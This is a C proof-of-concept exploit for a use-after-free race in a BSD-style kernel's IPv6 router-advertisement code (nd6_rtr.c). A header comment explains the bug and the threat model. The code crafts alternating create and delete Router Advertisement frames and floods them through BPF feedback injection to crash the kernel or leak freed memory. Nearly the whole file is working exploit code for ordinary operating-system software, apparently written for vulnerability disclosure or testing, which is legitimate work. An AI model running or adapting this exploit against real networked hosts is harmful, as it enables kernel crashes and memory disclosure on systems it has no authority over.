/* * DF-0417 PoC: UAF race on nd_defrouter via defrtrlist_update() * * Bug: sys/netinet6/nd6_rtr.c * defrtrlist_update() (line 661-707) returns a struct nd_defrouter * * with NO refcount taken and the nd6_mtx lock RELEASED. nd6_ra_input() * stores that pointer (line 285) and, in the unlocked prefix-option loop * (lines 291-345), passes it to prelist_update() (line 344). * * prelist_update() re-acquires nd6_mtx (line 866) but the pointer value * may already be stale: a concurrent deleter (another RA with rtlifetime==0 * on another netisr CPU, or nd6_timer expiry, or nd6_purge on iface down) * can run defrtrlist_del(dr) -> kfree(dr) during the window between * line 285 (lock released) and line 866 (lock re-acquired). * * If defrtrlist_del()'s prefix cleanup (lines 561-565) runs BEFORE * pfxrtr_add() stores the pointer, a DANGLING pointer to freed memory is * inserted into the prefix's advertising-router list. It is later field- * dereferenced in: * - find_pfxlist_reachable_router() nd6_rtr.c:1148-1149 (rtaddr, ifp) * - sysctl prefix export nd6.c:1493 / 2248-2253 (rtaddr, ifp) * * This is a network-reachable UAF. The realistic threat model is an on-link * attacker flooding Router Advertisements. This PoC simulates that attacker * by injecting crafted RAs into the victim's own vtnet0 input path via BPF * feedback mode (sys/net/bpf.c:604 if_input injection) -- BPF write requires * root, which stands in for "the attacker's own machine is on the link". * * The victim (this guest) must have RA acceptance enabled: * sysctl net.inet6.ip6.accept_rtadv=1 (host mode, ip6_forwarding=0) * * Trigger strategy: flood alternating CREATE (rtlifetime>0 + many prefix * options to widen the unlocked window) and DELETE (rtlifetime==0) RAs for * the same router address. The many prefix options stretch the window * between the lock release (line 679) and prelist_update's re-lock (866), * raising the probability that a concurrent DELETE frees the router while * the CREATE is mid-prefix-loop, leaving a dangling pfxrtr pointer that the * next on-link check dereferences as freed memory. * * On GENERIC (INVARIANTS ON) the slab poisons freed memory (WEIRD_ADDR * 0xdeadc0de) so the deferred read typically faults -> kernel panic. * On noinv the read silently leaks whatever reoccupied the slab. * * Usage (as root on the victim, simulating the on-link attacker): * ./ra_race [-i ifname] [-n count] [-p prefixes] [-s secs] * -i ifname inject interface (default vtnet0) * -n count total RAs to send (default 200000) * -p prefixes prefix-info options per CREATE RA (default 8, widens window) * -s secs cap runtime in seconds (default 60) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ALL_NODES "ff02::1" /* attacker link-local source (must be link-local fe80::/10) */ #define ATTK_LLA "fe80::dead:beef:cafe" /* attacker ethernet (link-local multicast for RA is 33:33:00:00:00:01) */ static const unsigned char ether_allnodes[6] = { 0x33, 0x33, 0x00, 0x00, 0x00, 0x01 }; static const unsigned char ether_attacker[6] = { 0x52, 0x54, 0x00, 0xde, 0xad, 0xbe }; /* ICMPv6 checksum over pseudo-header + payload */ static u_int16_t icmp6_cksum(const struct in6_addr *src, const struct in6_addr *dst, const u_int8_t *payload, int len) { u_int32_t sum = 0; int i; for (i = 0; i < 8; i++) { /* pseudo: src + dst */ sum += ntohs(src->s6_addr16[i]); sum += ntohs(dst->s6_addr16[i]); } sum += len; /* pseudo: payload length */ sum += IPPROTO_ICMPV6; /* pseudo: next header */ for (i = 0; i < (len & ~1); i += 2) sum += (payload[i] << 8) | payload[i+1]; if (len & 1) sum += payload[len-1] << 8; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return (u_int16_t)(~sum & 0xffff); } /* * Build one full Ethernet+IPv6+ICMPv6-RA frame in `buf`. * create!=0 => router lifetime>0 with `npfx` prefix-info options. * create==0 => router lifetime=0 (deletes the router). */ static int build_ra(u_int8_t *buf, int create, int npfx, const struct in6_addr *src6, const struct in6_addr *dst6) { int off = 0; /* --- Ethernet header --- */ memcpy(buf + off, ether_allnodes, 6); off += 6; memcpy(buf + off, ether_attacker, 6); off += 6; buf[off++] = 0x86; buf[off++] = 0xdd; /* EtherType IPv6 */ /* --- IPv6 header --- */ struct ip6_hdr *ip6 = (struct ip6_hdr *)(buf + off); ip6->ip6_flow = htonl(6 << 28); int icmp_off = off + sizeof(struct ip6_hdr); int ra_len = sizeof(struct nd_router_advert); int opt_len = 0; /* prefix info options */ ra_len += npfx * 8 * 3; /* each PI option = 32 bytes = 8*3? nd_opt_hdr len is in 8-byte units, PI = 4 units = 32 bytes */ /* source link-layer addr option (1 unit = 8 bytes: 2 hdr + 6 mac) */ ra_len += 8; ip6->ip6_plen = htons(ra_len); ip6->ip6_nxt = IPPROTO_ICMPV6; ip6->ip6_hlim = 255; /* MUST be 255 for RA */ ip6->ip6_src = *src6; ip6->ip6_dst = *dst6; off = icmp_off; /* --- ICMPv6 Router Advertisement --- */ struct nd_router_advert *ra = (struct nd_router_advert *)(buf + off); ra->nd_ra_type = ND_ROUTER_ADVERT; /* 134 */ ra->nd_ra_code = 0; ra->nd_ra_cksum = 0; ra->nd_ra_curhoplimit = 64; ra->nd_ra_flags_reserved = 0; ra->nd_ra_router_lifetime = create ? htons(1800) : htons(0); /* 1800s or 0 */ ra->nd_ra_reachable = 0; ra->nd_ra_retransmit = 0; off += sizeof(struct nd_router_advert); /* prefix information options (only meaningful for CREATE; harmless for DELETE) */ int p; for (p = 0; p < npfx; p++) { struct nd_opt_prefix_info *pi = (struct nd_opt_prefix_info *)(buf + off); pi->nd_opt_pi_type = ND_OPT_PREFIX_INFORMATION; /* 3 */ pi->nd_opt_pi_len = 4; /* 4 * 8 = 32 bytes */ pi->nd_opt_pi_prefix_len = 64; pi->nd_opt_pi_flags_reserved = ND_OPT_PI_FLAG_ONLINK | ND_OPT_PI_FLAG_AUTO; pi->nd_opt_pi_valid_time = htonl(3600); pi->nd_opt_pi_preferred_time = htonl(1800); pi->nd_opt_pi_reserved2 = 0; /* unique-ish prefix: 2001:db8::p */ memset(&pi->nd_opt_pi_prefix, 0, sizeof(pi->nd_opt_pi_prefix)); pi->nd_opt_pi_prefix.s6_addr16[0] = htons(0x2001); pi->nd_opt_pi_prefix.s6_addr16[1] = htons(0x0db8); pi->nd_opt_pi_prefix.s6_addr[15] = (u_int8_t)(p + 1); off += sizeof(struct nd_opt_prefix_info); } /* source link-layer address option */ struct nd_opt_hdr *sll = (struct nd_opt_hdr *)(buf + off); sll->nd_opt_type = ND_OPT_SOURCE_LINKADDR; /* 1 */ sll->nd_opt_len = 1; /* 1 * 8 = 8 bytes */ memcpy(buf + off + 2, ether_attacker, 6); off += 8; /* checksum over the ICMPv6 payload (from ra .. off) */ int plen = off - icmp_off; ra->nd_ra_cksum = htons(icmp6_cksum(src6, dst6, (u_int8_t *)ra, plen)); return off; } int main(int argc, char **argv) { const char *ifname = "vtnet0"; long count = 200000; int npfx = 8; int secs = 60; int opt; while ((opt = getopt(argc, argv, "i:n:p:s:")) != -1) { switch (opt) { case 'i': ifname = optarg; break; case 'n': count = atol(optarg); break; case 'p': npfx = atoi(optarg); break; case 's': secs = atoi(optarg); break; default: fprintf(stderr, "usage: %s [-i if] [-n n] [-p pfx] [-s sec]\n", argv[0]); return 2; } } struct in6_addr src6, dst6; if (inet_pton(AF_INET6, ATTK_LLA, &src6) != 1 || inet_pton(AF_INET6, ALL_NODES, &dst6) != 1) { fprintf(stderr, "inet_pton failed\n"); return 2; } /* open /dev/bpfN */ char dev[16]; int bfd = -1; int n; for (n = 0; n < 16; n++) { snprintf(dev, sizeof(dev), "/dev/bpf%d", n); bfd = open(dev, O_RDWR); if (bfd >= 0) break; if (errno != EBUSY) { perror(dev); return 2; } } if (bfd < 0) { fprintf(stderr, "no free bpf device\n"); return 2; } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, ifname, IFNAMSIZ); if (ioctl(bfd, BIOCSETIF, &ifr) < 0) { perror("BIOCSETIF"); return 2; } u_int one = 1; if (ioctl(bfd, BIOCSHDRCMPLT, &one) < 0) { perror("BIOCSHDRCMPLT"); return 2; } if (ioctl(bfd, BIOCSFEEDBACK, &one) < 0) { perror("BIOCSFEEDBACK"); return 2; } u_int blen = 0; if (ioctl(bfd, BIOCGBLEN, &blen) < 0) { perror("BIOCGBLEN"); return 2; } u_int8_t *create = malloc(blen); u_int8_t *dele = malloc(blen); if (!create || !dele) { perror("malloc"); return 2; } int clen = build_ra(create, 1, npfx, &src6, &dst6); int dlen = build_ra(dele, 0, npfx, &src6, &dst6); /* * BPF-feedback workaround: bpf_movein() (sys/net/bpf.c) strips the first * 14 bytes of the write buffer into the sockaddr used as the OUTPUT * ethernet header, then advances the mbuf past them. The feedback path * dups that header-stripped mbuf into if_input(), so a normally-framed * [eth][ipv6] write is mis-framed on loopback. Prepending a DUPLICATE * 14-byte ethernet header makes the stripped copy become the output * header while the remaining copy frames the loopback copy correctly: * write [eth][eth][ipv6][icmp6] * -> output uses 1st [eth], feedback if_input sees [eth][ipv6][icmp6]. */ u_int8_t *cb = malloc(clen + 14), *db = malloc(dlen + 14); memmove(cb + 14, create, clen); memcpy(cb, create, 14); memmove(db + 14, dele, dlen); memcpy(db, dele, 14); clen += 14; dlen += 14; fprintf(stderr, "DF-0417 ra_race: if=%s create_frames=toggle every RA, prefixes/RA=%d, " "count=%ld, cap=%ds (BPF dup-header feedback workaround)\n", ifname, npfx, count, secs); fprintf(stderr, " attacker LLA=%s -> %s ; router lifetime CREATE=1800s DELETE=0s\n", ATTK_LLA, ALL_NODES); time_t t0 = time(NULL); long i, sent = 0, errs = 0; for (i = 0; i < count; i++) { /* alternate create / delete to maximize the create-in-flight vs * delete-frees race. Both are injected via BPF feedback (if_input). */ u_int8_t *f = (i & 1) ? db : cb; int fl = (i & 1) ? dlen : clen; ssize_t w = write(bfd, f, fl); if (w < 0) { errs++; if (errs < 5) perror("write bpf"); } else sent++; if ((i & 0x3fff) == 0 && (time(NULL) - t0) >= secs) { fprintf(stderr, " time cap reached at %ld frames\n", i); break; } } fprintf(stderr, " done: sent=%ld errs=%ld elapsed=%lds\n", sent, errs, (long)(time(NULL) - t0)); return 0; }